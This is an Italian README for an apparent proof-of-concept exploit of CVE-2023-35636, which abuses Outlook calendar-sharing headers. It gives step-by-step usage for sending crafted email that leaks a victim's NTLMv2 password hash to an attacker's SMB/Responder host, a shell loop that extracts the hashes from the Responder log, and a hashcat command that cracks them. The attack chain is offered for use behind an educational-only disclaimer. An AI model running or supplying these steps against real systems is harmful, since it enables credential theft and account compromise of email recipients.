CVE-2023-35636

Vulnerabilità di divulgazione di informazioni di Microsoft Outlook (perdita dell'hash della password) - Script POC Expect

CVE-2023-35636 è un exploit della funzione di condivisione del calendario in Microsoft Outlook, tramite l'aggiunta di due intestazioni a un'email che inducono Outlook a condividere contenuti e contattare una macchina designata, creando l'opportunità di intercettare un hash NTLM v2.

• Esegui un responder con il server SMB attivo

• Invia un'email e attendi (il firewall del destinatario dell'email deve consentire il traffico SMB (445))

usage: ./cve-2023-35636.sh mx.fqdn port email_sender email_recipient smb_share

./cve-2023-35636.sh mail.mydomain.com 25 [email protected] [email protected] \\\\x.x.x.x\\mycalendar.ics (non dimenticare tutti i \)

notes: chmod +x cve-2023-35636.sh

richiede l'app expect

richiede un IP mittente legittimo e un mittente email (per superare SPF, DKIM, DMARC)

• Se l'utente destinatario fa clic sulla piccola icona del calendario .. BOOM l'IP/utente (testo chiaro) e l'hash della password (NTLM-v2-SSP) vengono inviati al tuo IP del responder

• Puoi quindi provare a crackare la password con hashcat/john the ripper

for user in strings Responder-Session.log | grep "NTLMv2-SSP Hash" | cut -d ":" -f 4-6 | sort -u -f | awk '{$1=$1};1'

do

echo "[*] search for: $user";

strings Responder-Session.log | grep "NTLMv2-SSP Hash" | grep -i $user | cut -d ":" -f 4-10 | head -n 1 | awk '{$1=$1};1' >> ntlm-hashes.txt

done

hashcat -a 0 -m 5600 ntlm-hashes.txt rockyou.txt -o cracked.txt -O

---

Crediti: https://www.varonis.com/blog/outlook-vulnerability-new-ways-to-leak-ntlm-hashes

Soluzione alternativa/Correzione: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-35636

---

più su di me ;) https://www.linkedin.com/in/duy-huan-bui/

⚠️ Avvertenza: IMPORTANTE: Questo script è fornito SOLO per scopi educativi, test etici e uso legale. Non utilizzarlo su alcun sistema o rete senza autorizzazione esplicita. L'accesso non autorizzato a sistemi informatici e reti è illegale e gli utenti sorpresi a svolgere attività non autorizzate sono soggetti ad azioni legali. L'autore NON è responsabile per eventuali danni causati dall'uso improprio di questo script.